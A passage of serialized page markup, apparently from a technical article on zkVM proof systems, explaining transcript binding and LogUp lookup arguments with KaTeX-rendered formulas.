",{"type":25,"tag":264,"props":5400,"children":5402},{"className":5401},[267,268],[5403],{"type":25,"tag":271,"props":5404,"children":5406},{"className":5405},[274],[5407],{"type":25,"tag":271,"props":5408,"children":5410},{"className":5409,"ariaHidden":280},[279],[5411],{"type":25,"tag":271,"props":5412,"children":5414},{"className":5413},[285],[5415,5419,5424,5429,5478],{"type":25,"tag":271,"props":5416,"children":5418},{"className":5417,"style":4905},[290],[],{"type":25,"tag":271,"props":5420,"children":5422},{"className":5421,"style":4500},[296,297],[5423],{"type":30,"value":4503},{"type":25,"tag":271,"props":5425,"children":5427},{"className":5426},[391],[5428],{"type":30,"value":394},{"type":25,"tag":271,"props":5430,"children":5432},{"className":5431},[296,4473],[5433],{"type":25,"tag":271,"props":5434,"children":5436},{"className":5435},[987],[5437],{"type":25,"tag":271,"props":5438,"children":5440},{"className":5439},[992],[5441],{"type":25,"tag":271,"props":5442,"children":5444},{"className":5443,"style":4692},[997],[5445,5457],{"type":25,"tag":271,"props":5446,"children":5447},{"style":4490},[5448,5452],{"type":25,"tag":271,"props":5449,"children":5451},{"className":5450,"style":4495},[1007],[],{"type":25,"tag":271,"props":5453,"children":5455},{"className":5454},[296,297],[5456],{"type":30,"value":2508},{"type":25,"tag":271,"props":5458,"children":5459},{"style":4860},[5460,5464],{"type":25,"tag":271,"props":5461,"children":5463},{"className":5462,"style":4495},[1007],[],{"type":25,"tag":271,"props":5465,"children":5467},{"className":5466,"style":4719},[4515],[5468],{"type":25,"tag":271,"props":5469,"children":5471},{"className":5470,"style":4591},[4590],[5472],{"type":25,"tag":4594,"props":5473,"children":5474},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[5475],{"type":25,"tag":4604,"props":5476,"children":5477},{"d":4606},[],{"type":25,"tag":271,"props":5479,"children":5481},{"className":5480},[437],[5482],{"type":30,"value":440},{"type":30,"value":1860},{"type":25,"tag":26,"props":5485,"children":5486},{},[5487,5489,5558],{"type":30,"value":5488},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":25,"tag":264,"props":5490,"children":5492},{"className":5491},[267,268],[5493],{"type":25,"tag":271,"props":5494,"children":5496},{"className":5495},[274],[5497],{"type":25,"tag":271,"props":5498,"children":5500},{"className":5499,"ariaHidden":280},[279],[5501],{"type":25,"tag":271,"props":5502,"children":5504},{"className":5503},[285],[5505,5509],{"type":25,"tag":271,"props":5506,"children":5508},{"className":5507,"style":4561},[290],[],{"type":25,"tag":271,"props":5510,"children":5512},{"className":5511},[296,4473],[5513],{"type":25,"tag":271,"props":5514,"children":5516},{"className":5515},[987],[5517],{"type":25,"tag":271,"props":5518,"children":5520},{"className":5519},[992],[5521],{"type":25,"tag":271,"props":5522,"children":5524},{"className":5523,"style":4561},[997],[5525,5537],{"type":25,"tag":271,"props":5526,"children":5527},{"style":4490},[5528,5532],{"type":25,"tag":271,"props":5529,"children":5531},{"className":5530,"style":4495},[1007],[],{"type":25,"tag":271,"props":5533,"children":5535},{"className":5534,"style":2296},[296,297],[5536],{"type":30,"value":2299},{"type":25,"tag":271,"props":5538,"children":5539},{"style":4490},[5540,5544],{"type":25,"tag":271,"props":5541,"children":5543},{"className":5542,"style":4495},[1007],[],{"type":25,"tag":271,"props":5545,"children":5547},{"className":5546,"style":4585},[4515],[5548],{"type":25,"tag":271,"props":5549,"children":5551},{"className":5550,"style":4591},[4590],[5552],{"type":25,"tag":4594,"props":5553,"children":5554},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[5555],{"type":25,"tag":4604,"props":5556,"children":5557},{"d":4606},[],{"type":30,"value":5559}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":25,"tag":247,"props":5561,"children":5563},{"id":5562},"lookup-arguments-logup",[5564],{"type":30,"value":5565},"Lookup Arguments (LogUp)",{"type":25,"tag":26,"props":5567,"children":5568},{},[5569],{"type":30,"value":5570},"zkVMs need to check that values satisfy certain properties. For example:",{"type":25,"tag":108,"props":5572,"children":5573},{},[5574,5633,5638],{"type":25,"tag":112,"props":5575,"children":5576},{},[5577,5579,5631],{"type":30,"value":5578},"Is this byte in range ",{"type":25,"tag":264,"props":5580,"children":5582},{"className":5581},[267,268],[5583],{"type":25,"tag":271,"props":5584,"children":5586},{"className":5585},[274],[5587],{"type":25,"tag":271,"props":5588,"children":5590},{"className":5589,"ariaHidden":280},[279],[5591],{"type":25,"tag":271,"props":5592,"children":5594},{"className":5593},[285],[5595,5599,5605,5610,5615,5619,5625],{"type":25,"tag":271,"props":5596,"children":5598},{"className":5597,"style":375},[290],[],{"type":25,"tag":271,"props":5600,"children":5602},{"className":5601},[391],[5603],{"type":30,"value":5604},"[",{"type":25,"tag":271,"props":5606,"children":5608},{"className":5607},[296],[5609],{"type":30,"value":953},{"type":25,"tag":271,"props":5611,"children":5613},{"className":5612},[404],[5614],{"type":30,"value":407},{"type":25,"tag":271,"props":5616,"children":5618},{"className":5617,"style":411},[337],[],{"type":25,"tag":271,"props":5620,"children":5622},{"className":5621},[296],[5623],{"type":30,"value":5624},"255",{"type":25,"tag":271,"props":5626,"children":5628},{"className":5627},[437],[5629],{"type":30,"value":5630},"]",{"type":30,"value":5632},"?",{"type":25,"tag":112,"props":5634,"children":5635},{},[5636],{"type":30,"value":5637},"Does this opcode decode correctly?",{"type":25,"tag":112,"props":5639,"children":5640},{},[5641],{"type":30,"value":5642},"Is this memory access consistent with previous accesses?",{"type":25,"tag":26,"props":5644,"children":5645},{},[5646,5651],{"type":25,"tag":38,"props":5647,"children":5648},{},[5649],{"type":30,"value":5650},"The naive approach:",{"type":30,"value":5652}," Add constraints for each check. Expensive.",{"type":25,"tag":26,"props":5654,"children":5655},{},[5656,5661,5663,5668],{"type":25,"tag":38,"props":5657,"children":5658},{},[5659],{"type":30,"value":5660},"The clever approach:",{"type":30,"value":5662}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":25,"tag":38,"props":5664,"children":5665},{},[5666],{"type":30,"value":5667},"multiset membership",{"type":30,"value":5669}," check.",{"type":25,"tag":26,"props":5671,"children":5672},{},[5673,5678],{"type":25,"tag":38,"props":5674,"children":5675},{},[5676],{"type":30,"value":5677},"LogUp (Logarithmic Derivative):",{"type":30,"value":5679}," Encode multiset membership as a sum of fractions.",{"type":25,"tag":26,"props":5681,"children":5682},{},[5683,5685,5711,5713,5740],{"type":30,"value":5684},"If set ",{"type":25,"tag":264,"props":5686,"children":5688},{"className":5687},[267,268],[5689],{"type":25,"tag":271,"props":5690,"children":5692},{"className":5691},[274],[5693],{"type":25,"tag":271,"props":5694,"children":5696},{"className":5695,"ariaHidden":280},[279],[5697],{"type":25,"tag":271,"props":5698,"children":5700},{"className":5699},[285],[5701,5705],{"type":25,"tag":271,"props":5702,"children":5704},{"className":5703,"style":291},[290],[],{"type":25,"tag":271,"props":5706,"children":5708},{"className":5707},[296,297],[5709],{"type":30,"value":5710},"A",{"type":30,"value":5712}," should equal set ",{"type":25,"tag":264,"props":5714,"children":5716},{"className":5715},[267,268],[5717],{"type":25,"tag":271,"props":5718,"children":5720},{"className":5719},[274],[5721],{"type":25,"tag":271,"props":5722,"children":5724},{"className":5723,"ariaHidden":280},[279],[5725],{"type":25,"tag":271,"props":5726,"children":5728},{"className":5727},[285],[5729,5733],{"type":25,"tag":271,"props":5730,"children":5732},{"className":5731,"style":291},[290],[],{"type":25,"tag":271,"props":5734,"children":5737},{"className":5735,"style":5736},[296,297],"margin-right:0.05017em;",[5738],{"type":30,"value":5739},"B",{"type":30,"value":5741}," as multisets:",{"type":25,"tag":26,"props":5743,"children":5744},{},[5745],{"type":25,"tag":264,"props":5746,"children":5748},{"className":5747},[267,268],[5749],{"type":25,"tag":271,"props":5750,"children":5752},{"className":5751},[274],[5753],{"type":25,"tag":271,"props":5754,"children":5756},{"className":5755,"ariaHidden":280},[279],[5757,5972],{"type":25,"tag":271,"props":5758,"children":5760},{"className":5759},[285],[5761,5766,5839,5843,5959,5963,5968],{"type":25,"tag":271,"props":5762,"children":5765},{"className":5763,"style":5764},[290],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":25,"tag":271,"props":5767,"children":5769},{"className":5768},[1082],[5770,5775],{"type":25,"tag":271,"props":5771,"children":5773},{"className":5772,"style":1089},[1082,1087,1088],[5774],{"type":30,"value":1092},{"type":25,"tag":271,"props":5776,"children":5778},{"className":5777},[982],[5779],{"type":25,"tag":271,"props":5780,"children":5782},{"className":5781},[987,1100],[5783,5827],{"type":25,"tag":271,"props":5784,"children":5786},{"className":5785},[992],[5787,5822],{"type":25,"tag":271,"props":5788,"children":5791},{"className":5789,"style":5790},[997],"height:0.1786em;",[5792],{"type":25,"tag":271,"props":5793,"children":5794},{"style":1113},[5795,5799],{"type":25,"tag":271,"props":5796,"children":5798},{"className":5797,"style":1008},[1007],[],{"type":25,"tag":271,"props":5800,"children":5802},{"className":5801},[1013,1014,1015,1016],[5803],{"type":25,"tag":271,"props":5804,"children":5806},{"className":5805},[296,1016],[5807,5812,5817],{"type":25,"tag":271,"props":5808,"children":5810},{"className":5809},[296,297,1016],[5811],{"type":30,"value":83},{"type":25,"tag":271,"props":5813,"children":5815},{"className":5814},[356,1016],[5816],{"type":30,"value":1198},{"type":25,"tag":271,"props":5818,"children":5820},{"className":5819},[296,297,1016],[5821],{"type":30,"value":5710},{"type":25,"tag":271,"props":5823,"children":5825},{"className":5824},[1177],[5826],{"type":30,"value":1180},{"type":25,"tag":271,"props":5828,"children":5830},{"className":5829},[992],[5831],{"type":25,"tag":271,"props":5832,"children":5835},{"className":5833,"style":5834},[997],"height:0.3271em;",[5836],{"type":25,"tag":271,"props":5837,"children":5838},{},[],{"type":25,"tag":271,"props":5840,"children":5842},{"className":5841,"style":411},[337],[],{"type":25,"tag":271,"props":5844,"children":5846},{"className":5845},[296],[5847,5852,5955],{"type":25,"tag":271,"props":5848,"children":5851},{"className":5849},[391,5850],"nulldelimiter",[],{"type":25,"tag":271,"props":5853,"children":5856},{"className":5854},[5855],"mfrac",[5857],{"type":25,"tag":271,"props":5858,"children":5860},{"className":5859},[987,1100],[5861,5943],{"type":25,"tag":271,"props":5862,"children":5864},{"className":5863},[992],[5865,5938],{"type":25,"tag":271,"props":5866,"children":5869},{"className":5867,"style":5868},[997],"height:0.8451em;",[5870,5903,5917],{"type":25,"tag":271,"props":5871,"children":5873},{"style":5872},"top:-2.655em;",[5874,5878],{"type":25,"tag":271,"props":5875,"children":5877},{"className":5876,"style":4495},[1007],[],{"type":25,"tag":271,"props":5879,"children":5881},{"className":5880},[1013,1014,1015,1016],[5882],{"type":25,"tag":271,"props":5883,"children":5885},{"className":5884},[296,1016],[5886,5893,5898],{"type":25,"tag":271,"props":5887,"children":5890},{"className":5888,"style":5889},[296,297,1016],"margin-right:0.04398em;",[5891],{"type":30,"value":5892},"z",{"type":25,"tag":271,"props":5894,"children":5896},{"className":5895},[2071,1016],[5897],{"type":30,"value":2774},{"type":25,"tag":271,"props":5899,"children":5901},{"className":5900},[296,297,1016],[5902],{"type":30,"value":83},{"type":25,"tag":271,"props":5904,"children":5906},{"style":5905},"top:-3.23em;",[5907,5911],{"type":25,"tag":271,"props":5908,"children":5910},{"className":5909,"style":4495},[1007],[],{"type":25,"tag":271,"props":5912,"children":5916},{"className":5913,"style":5915},[5914],"frac-line","border-bottom-width:0.04em;",[],{"type":25,"tag":271,"props":5918,"children":5920},{"style":5919},"top:-3.394em;",[5921,5925],{"type":25,"tag":271,"props":5922,"children":5924},{"className":5923,"style":4495},[1007],[],{"type":25,"tag":271,"props":5926,"children":5928},{"className":5927},[1013,1014,1015,1016],[5929],{"type":25,"tag":271,"props":5930,"children":5932},{"className":5931},[296,1016],[5933],{"type":25,"tag":271,"props":5934,"children":5936},{"className":5935},[296,1016],[5937],{"type":30,"value":968},{"type":25,"tag":271,"props":5939,"children":5941},{"className":5940},[1177],[5942],{"type":30,"value":1180},{"type":25,"tag":271,"props":5944,"children":5946},{"className":5945},[992],[5947],{"type":25,"tag":271,"props":5948,"children":5951},{"className":5949,"style":5950},[997],"height:0.4033em;",[5952],{"type":25,"tag":271,"props":5953,"children":5954},{},[],{"type":25,"tag":271,"props":5956,"children":5958},{"className":5957},[437,5850],[],{"type":25,"tag":271,"props":5960,"children":5962},{"className":5961,"style":338},[337],[],{"type":25,"tag":271,"props":5964,"children":5966},{"className":5965},[356],[5967],{"type":30,"value":1065},{"type":25,"tag":271,"props":5969,"children":5971},{"className":5970,"style":338},[337],[],{"type":25,"tag":271,"props":5973,"children":5975},{"className":5974},[285],[5976,5980,6052,6056],{"type":25,"tag":271,"props":5977,"children":5979},{"className":5978,"style":5764},[290],[],{"type":25,"tag":271,"props":5981,"children":5983},{"className":5982},[1082],[5984,5989],{"type":25,"tag":271,"props":5985,"children":5987},{"className":5986,"style":1089},[1082,1087,1088],[5988],{"type":30,"value":1092},{"type":25,"tag":271,"props":5990,"children":5992},{"className":5991},[982],[5993],{"type":25,"tag":271,"props":5994,"children":5996},{"className":5995},[987,1100],[5997,6041],{"type":25,"tag":271,"props":5998,"children":6000},{"className":5999},[992],[6001,6036],{"type":25,"tag":271,"props":6002,"children":6005},{"className":6003,"style":6004},[997],"height:0.1864em;",[6006],{"type":25,"tag":271,"props":6007,"children":6008},{"style":1113},[6009,6013],{"type":25,"tag":271,"props":6010,"children":6012},{"className":6011,"style":1008},[1007],[],{"type":25,"tag":271,"props":6014,"children":6016},{"className":6015},[1013,1014,1015,1016],[6017],{"type":25,"tag":271,"props":6018,"children":6020},{"className":6019},[296,1016],[6021,6026,6031],{"type":25,"tag":271,"props":6022,"children":6024},{"className":6023},[296,297,1016],[6025],{"type":30,"value":2508},{"type":25,"tag":271,"props":6027,"children":6029},{"className":6028},[356,1016],[6030],{"type":30,"value":1198},{"type":25,"tag":271,"props":6032,"children":6034},{"className":6033,"style":5736},[296,297,1016],[6035],{"type":30,"value":5739},{"type":25,"tag":271,"props":6037,"children":6039},{"className":6038},[1177],[6040],{"type":30,"value":1180},{"type":25,"tag":271,"props":6042,"children":6044},{"className":6043},[992],[6045],{"type":25,"tag":271,"props":6046,"children":6048},{"className":6047,"style":5834},[997],[6049],{"type":25,"tag":271,"props":6050,"children":6051},{},[],{"type":25,"tag":271,"props":6053,"children":6055},{"className":6054,"style":411},[337],[],{"type":25,"tag":271,"props":6057,"children":6059},{"className":6058},[296],[6060,6064,6157],{"type":25,"tag":271,"props":6061,"children":6063},{"className":6062},[391,5850],[],{"type":25,"tag":271,"props":6065,"children":6067},{"className":6066},[5855],[6068],{"type":25,"tag":271,"props":6069,"children":6071},{"className":6070},[987,1100],[6072,6146],{"type":25,"tag":271,"props":6073,"children":6075},{"className":6074},[992],[6076,6141],{"type":25,"tag":271,"props":6077,"children":6079},{"className":6078,"style":5868},[997],[6080,6110,6121],{"type":25,"tag":271,"props":6081,"children":6082},{"style":5872},[6083,6087],{"type":25,"tag":271,"props":6084,"children":6086},{"className":6085,"style":4495},[1007],[],{"type":25,"tag":271,"props":6088,"children":6090},{"className":6089},[1013,1014,1015,1016],[6091],{"type":25,"tag":271,"props":6092,"children":6094},{"className":6093},[296,1016],[6095,6100,6105],{"type":25,"tag":271,"props":6096,"children":6098},{"className":6097,"style":5889},[296,297,1016],[6099],{"type":30,"value":5892},{"type":25,"tag":271,"props":6101,"children":6103},{"className":6102},[2071,1016],[6104],{"type":30,"value":2774},{"type":25,"tag":271,"props":6106,"children":6108},{"className":6107},[296,297,1016],[6109],{"type":30,"value":2508},{"type":25,"tag":271,"props":6111,"children":6112},{"style":5905},[6113,6117],{"type":25,"tag":271,"props":6114,"children":6116},{"className":6115,"style":4495},[1007],[],{"type":25,"tag":271,"props":6118,"children":6120},{"className":6119,"style":5915},[5914],[],{"type":25,"tag":271,"props":6122,"children":6123},{"style":5919},[6124,6128],{"type":25,"tag":271,"props":6125,"children":6127},{"className":6126,"style":4495},[1007],[],{"type":25,"tag":271,"props":6129,"children":6131},{"className":6130},[1013,1014,1015,1016],[6132],{"type":25,"tag":271,"props":6133,"children":6135},{"className":6134},[296,1016],[6136],{"type":25,"tag":271,"props":6137,"children":6139},{"className":6138},[296,1016],[6140],{"type":30,"value":968},{"type":25,"tag":271,"props":6142,"children":6144},{"className":6143},[1177],[6145],{"type":30,"value":1180},{"type":25,"tag":271,"props":6147,"children":6149},{"className":6148},[992],[6150],{"type":25,"tag":271,"props":6151,"children":6153},{"className":6152,"style":5950},[997],[6154],{"type":25,"tag":271,"props":6155,"children":6156},{},[],{"type":25,"tag":271,"props":6158,"children":6160},{"className":6159},[437,5850],[],{"type":25,"tag":26,"props":6162,"children":6163},{},[6164,6166,6191],{"type":30,"value":6165},"for random challenge ",{"type":25,"tag":264,"props":6167,"children":6169},{"className":6168},[267,268],[6170],{"type":25,"tag":271,"props":6171,"children":6173},{"className":6172},[274],[6174],{"type":25,"tag":271,"props":6175,"children":6177},{"className":6176,"ariaHidden":280},[279],[6178],{"type":25,"tag":271,"props":6179,"children":6181},{"className":6180},[285],[6182,6186],{"type":25,"tag":271,"props":6183,"children":6185},{"className":6184,"style":3164},[290],[],{"type":25,"tag":271,"props":6187,"children":6189},{"className":6188,"style":5889},[296,297],[6190],{"type":30,"value":5892},{"type":30,"value":6192},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":25,"tag":26,"props":6194,"children":6195},{},[6196,6201],{"type":25,"tag":38,"props":6197,"children":6198},{},[6199],{"type":30,"value":6200},"In zkVMs:",{"type":30,"value":6202}," Different components emit and consume lookup tuples:",{"type":25,"tag":108,"props":6204,"children":6205},{},[6206,6295],{"type":25,"tag":112,"props":6207,"children":6208},{},[6209,6211,6237,6239,6264,6266,6293],{"type":30,"value":6210},"CPU emits: \"I read value ",{"type":25,"tag":264,"props":6212,"children":6214},{"className":6213},[267,268],[6215],{"type":25,"tag":271,"props":6216,"children":6218},{"className":6217},[274],[6219],{"type":25,"tag":271,"props":6220,"children":6222},{"className":6221,"ariaHidden":280},[279],[6223],{"type":25,"tag":271,"props":6224,"children":6226},{"className":6225},[285],[6227,6231],{"type":25,"tag":271,"props":6228,"children":6230},{"className":6229,"style":3164},[290],[],{"type":25,"tag":271,"props":6232,"children":6234},{"className":6233,"style":1555},[296,297],[6235],{"type":30,"value":6236},"v",{"type":30,"value":6238}," from address ",{"type":25,"tag":264,"props":6240,"children":6242},{"className":6241},[267,268],[6243],{"type":25,"tag":271,"props":6244,"children":6246},{"className":6245},[274],[6247],{"type":25,"tag":271,"props":6248,"children":6250},{"className":6249,"ariaHidden":280},[279],[6251],{"type":25,"tag":271,"props":6252,"children":6254},{"className":6253},[285],[6255,6259],{"type":25,"tag":271,"props":6256,"children":6258},{"className":6257,"style":3164},[290],[],{"type":25,"tag":271,"props":6260,"children":6262},{"className":6261},[296,297],[6263],{"type":30,"value":83},{"type":30,"value":6265}," at time ",{"type":25,"tag":264,"props":6267,"children":6269},{"className":6268},[267,268],[6270],{"type":25,"tag":271,"props":6271,"children":6273},{"className":6272},[274],[6274],{"type":25,"tag":271,"props":6275,"children":6277},{"className":6276,"ariaHidden":280},[279],[6278],{"type":25,"tag":271,"props":6279,"children":6281},{"className":6280},[285],[6282,6287],{"type":25,"tag":271,"props":6283,"children":6286},{"className":6284,"style":6285},[290],"height:0.6151em;",[],{"type":25,"tag":271,"props":6288,"children":6290},{"className":6289},[296,297],[6291],{"type":30,"value":6292},"t",{"type":30,"value":6294},"\"",{"type":25,"tag":112,"props":6296,"children":6297},{},[6298,6300,6325,6327,6352,6354,6379],{"type":30,"value":6299},"Memory table consumes: \"At time ",{"type":25,"tag":264,"props":6301,"children":6303},{"className":6302},[267,268],[6304],{"type":25,"tag":271,"props":6305,"children":6307},{"className":6306},[274],[6308],{"type":25,"tag":271,"props":6309,"children":6311},{"className":6310,"ariaHidden":280},[279],[6312],{"type":25,"tag":271,"props":6313,"children":6315},{"className":6314},[285],[6316,6320],{"type":25,"tag":271,"props":6317,"children":6319},{"className":6318,"style":6285},[290],[],{"type":25,"tag":271,"props":6321,"children":6323},{"className":6322},[296,297],[6324],{"type":30,"value":6292},{"type":30,"value":6326},", address ",{"type":25,"tag":264,"props":6328,"children":6330},{"className":6329},[267,268],[6331],{"type":25,"tag":271,"props":6332,"children":6334},{"className":6333},[274],[6335],{"type":25,"tag":271,"props":6336,"children":6338},{"className":6337,"ariaHidden":280},[279],[6339],{"type":25,"tag":271,"props":6340,"children":6342},{"className":6341},[285],[6343,6347],{"type":25,"tag":271,"props":6344,"children":6346},{"className":6345,"style":3164},[290],[],{"type":25,"tag":271,"props":6348,"children":6350},{"className":6349},[296,297],[6351],{"type":30,"value":83},{"type":30,"value":6353}," contained ",{"type":25,"tag":264,"props":6355,"children":6357},{"className":6356},[267,268],[6358],{"type":25,"tag":271,"props":6359,"children":6361},{"className":6360},[274],[6362],{"type":25,"tag":271,"props":6363,"children":6365},{"className":6364,"ariaHidden":280},[279],[6366],{"type":25,"tag":271,"props":6367,"children":6369},{"className":6368},[285],[6370,6374],{"type":25,"tag":271,"props":6371,"children":6373},{"className":6372,"style":3164},[290],[],{"type":25,"tag":271,"props":6375,"children":6377},{"className":6376,"style":1555},[296,297],[6378],{"type":30,"value":6236},{"type":30,"value":6294},{"type":25,"tag":26,"props":6381,"children":6382},{},[6383],{"type":30,"value":6384},"If everything balances, the execution is consistent.",{"type":25,"tag":26,"props":6386,"children":6387},{},[6388,6393],{"type":25,"tag":38,"props":6389,"children":6390},{},[6391],{"type":30,"value":6392},"The claimed_sum:",{"type":30,"value":6394}," Each component computes its contribution to the LogUp sum:",{"type":25,"tag":26,"props":6396,"children":6397},{},[6398],{"type":25,"tag":264,"props":6399,"children":6401},{"className":6400},[267,268],[6402],{"type":25,"tag":271,"props":6403,"children":6405},{"className":6404},[274],[6406],{"type":25,"tag":271,"props":6407,"children":6409},{"className":6408,"ariaHidden":280},[279],[6410,6511,6764],{"type":25,"tag":271,"props":6411,"children":6413},{"className":6412},[285],[6414,6419,6429,6435,6498,6502,6507],{"type":25,"tag":271,"props":6415,"children":6418},{"className":6416,"style":6417},[290],"height:1.0044em;vertical-align:-0.31em;",[],{"type":25,"tag":271,"props":6420,"children":6422},{"className":6421},[296,30],[6423],{"type":25,"tag":271,"props":6424,"children":6426},{"className":6425},[296],[6427],{"type":30,"value":6428},"claimed",{"type":25,"tag":271,"props":6430,"children":6432},{"className":6431,"style":2296},[296],[6433],{"type":30,"value":6434},"_",{"type":25,"tag":271,"props":6436,"children":6438},{"className":6437},[296],[6439,6449],{"type":25,"tag":271,"props":6440,"children":6442},{"className":6441},[296,30],[6443],{"type":25,"tag":271,"props":6444,"children":6446},{"className":6445},[296],[6447],{"type":30,"value":6448},"sum",{"type":25,"tag":271,"props":6450,"children":6452},{"className":6451},[982],[6453],{"type":25,"tag":271,"props":6454,"children":6456},{"className":6455},[987,1100],[6457,6487],{"type":25,"tag":271,"props":6458,"children":6460},{"className":6459},[992],[6461,6482],{"type":25,"tag":271,"props":6462,"children":6464},{"className":6463,"style":1918},[997],[6465],{"type":25,"tag":271,"props":6466,"children":6468},{"style":6467},"top:-2.55em;margin-right:0.05em;",[6469,6473],{"type":25,"tag":271,"props":6470,"children":6472},{"className":6471,"style":1008},[1007],[],{"type":25,"tag":271,"props":6474,"children":6476},{"className":6475},[1013,1014,1015,1016],[6477],{"type":25,"tag":271,"props":6478,"children":6480},{"className":6479},[296,297,1016],[6481],{"type":30,"value":1937},{"type":25,"tag":271,"props":6483,"children":6485},{"className":6484},[1177],[6486],{"type":30,"value":1180},{"type":25,"tag":271,"props":6488,"children":6490},{"className":6489},[992],[6491],{"type":25,"tag":271,"props":6492,"children":6494},{"className":6493,"style":1619},[997],[6495],{"type":25,"tag":271,"props":6496,"children":6497},{},[],{"type":25,"tag":271,"props":6499,"children":6501},{"className":6500,"style":338},[337],[],{"type":25,"tag":271,"props":6503,"children":6505},{"className":6504},[356],[6506],{"type":30,"value":1065},{"type":25,"tag":271,"props":6508,"children":6510},{"className":6509,"style":338},[337],[],{"type":25,"tag":271,"props":6512,"children":6514},{"className":6513},[285],[6515,6520,6581,6585,6751,6755,6760],{"type":25,"tag":271,"props":6516,"children":6519},{"className":6517,"style":6518},[290],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":25,"tag":271,"props":6521,"children":6523},{"className":6522},[1082],[6524,6529],{"type":25,"tag":271,"props":6525,"children":6527},{"className":6526,"style":1089},[1082,1087,1088],[6528],{"type":30,"value":1092},{"type":25,"tag":271,"props":6530,"children":6532},{"className":6531},[982],[6533],{"type":25,"tag":271,"props":6534,"children":6536},{"className":6535},[987,1100],[6537,6569],{"type":25,"tag":271,"props":6538,"children":6540},{"className":6539},[992],[6541,6564],{"type":25,"tag":271,"props":6542,"children":6545},{"className":6543,"style":6544},[997],"height:0.162em;",[6546],{"type":25,"tag":271,"props":6547,"children":6548},{"style":1113},[6549,6553],{"type":25,"tag":271,"props":6550,"children":6552},{"className":6551,"style":1008},[1007],[],{"type":25,"tag":271,"props":6554,"children":6556},{"className":6555},[1013,1014,1015,1016],[6557],{"type":25,"tag":271,"props":6558,"children":6561},{"className":6559,"style":6560},[296,297,1016],"margin-right:0.05724em;",[6562],{"type":30,"value":6563},"j",{"type":25,"tag":271,"props":6565,"children":6567},{"className":6566},[1177],[6568],{"type":30,"value":1180},{"type":25,"tag":271,"props":6570,"children":6572},{"className":6571},[992],[6573],{"type":25,"tag":271,"props":6574,"children":6577},{"className":6575,"style":6576},[997],"height:0.4358em;",[6578],{"type":25,"tag":271,"props":6579,"children":6580},{},[],{"type":25,"tag":271,"props":6582,"children":6584},{"className":6583,"style":411},[337],[],{"type":25,"tag":271,"props":6586,"children":6588},{"className":6587},[296],[6589,6593,6747],{"type":25,"tag":271,"props":6590,"children":6592},{"className":6591},[391,5850],[],{"type":25,"tag":271,"props":6594,"children":6596},{"className":6595},[5855],[6597],{"type":25,"tag":271,"props":6598,"children":6600},{"className":6599},[987,1100],[6601,6735],{"type":25,"tag":271,"props":6602,"children":6604},{"className":6603},[992],[6605,6730],{"type":25,"tag":271,"props":6606,"children":6608},{"className":6607,"style":5868},[997],[6609,6699,6710],{"type":25,"tag":271,"props":6610,"children":6611},{"style":5872},[6612,6616],{"type":25,"tag":271,"props":6613,"children":6615},{"className":6614,"style":4495},[1007],[],{"type":25,"tag":271,"props":6617,"children":6619},{"className":6618},[1013,1014,1015,1016],[6620],{"type":25,"tag":271,"props":6621,"children":6623},{"className":6622},[296,1016],[6624,6629,6634],{"type":25,"tag":271,"props":6625,"children":6627},{"className":6626,"style":5889},[296,297,1016],[6628],{"type":30,"value":5892},{"type":25,"tag":271,"props":6630,"children":6632},{"className":6631},[2071,1016],[6633],{"type":30,"value":2774},{"type":25,"tag":271,"props":6635,"children":6637},{"className":6636},[296,1016],[6638,6648],{"type":25,"tag":271,"props":6639,"children":6641},{"className":6640},[296,30,1016],[6642],{"type":25,"tag":271,"props":6643,"children":6645},{"className":6644},[296,1016],[6646],{"type":30,"value":6647},"emit",{"type":25,"tag":271,"props":6649,"children":6651},{"className":6650},[982],[6652],{"type":25,"tag":271,"props":6653,"children":6655},{"className":6654},[987,1100],[6656,6687],{"type":25,"tag":271,"props":6657,"children":6659},{"className":6658},[992],[6660,6682],{"type":25,"tag":271,"props":6661,"children":6664},{"className":6662,"style":6663},[997],"height:0.3281em;",[6665],{"type":25,"tag":271,"props":6666,"children":6668},{"style":6667},"top:-2.357em;margin-right:0.0714em;",[6669,6673],{"type":25,"tag":271,"props":6670,"children":6672},{"className":6671,"style":1161},[1007],[],{"type":25,"tag":271,"props":6674,"children":6676},{"className":6675},[1013,1166,1167,1016],[6677],{"type":25,"tag":271,"props":6678,"children":6680},{"className":6679,"style":6560},[296,297,1016],[6681],{"type":30,"value":6563},{"type":25,"tag":271,"props":6683,"children":6685},{"className":6684},[1177],[6686],{"type":30,"value":1180},{"type":25,"tag":271,"props":6688,"children":6690},{"className":6689},[992],[6691],{"type":25,"tag":271,"props":6692,"children":6695},{"className":6693,"style":6694},[997],"height:0.2819em;",[6696],{"type":25,"tag":271,"props":6697,"children":6698},{},[],{"type":25,"tag":271,"props":6700,"children":6701},{"style":5905},[6702,6706],{"type":25,"tag":271,"props":6703,"children":6705},{"className":6704,"style":4495},[1007],[],{"type":25,"tag":271,"props":6707,"children":6709},{"className":6708,"style":5915},[5914],[],{"type":25,"tag":271,"props":6711,"children":6712},{"style":5919},[6713,6717],{"type":25,"tag":271,"props":6714,"children":6716},{"className":6715,"style":4495},[1007],[],{"type":25,"tag":271,"props":6718,"children":6720},{"className":6719},[1013,1014,1015,1016],[6721],{"type":25,"tag":271,"props":6722,"children":6724},{"className":6723},[296,1016],[6725],{"type":25,"tag":271,"props":6726,"children":6728},{"className":6727},[296,1016],[6729],{"type":30,"value":968},{"type":25,"tag":271,"props":6731,"children":6733},{"className":6732},[1177],[6734],{"type":30,"value":1180},{"type":25,"tag":271,"props":6736,"children":6738},{"className":6737},[992],[6739],{"type":25,"tag":271,"props":6740,"children":6743},{"className":6741,"style":6742},[997],"height:0.5423em;",[6744],{"type":25,"tag":271,"props":6745,"children":6746},{},[],{"type":25,"tag":271,"props":6748,"children":6750},{"className":6749},[437,5850],[],{"type":25,"tag":271,"props":6752,"children":6754},{"className":6753,"style":2066},[337],[],{"type":25,"tag":271,"props":6756,"children":6758},{"className":6757},[2071],[6759],{"type":30,"value":2774},{"type":25,"tag":271,"props":6761,"children":6763},{"className":6762,"style":2066},[337],[],{"type":25,"tag":271,"props":6765,"children":6767},{"className":6766},[285],[6768,6773,6833,6837],{"type":25,"tag":271,"props":6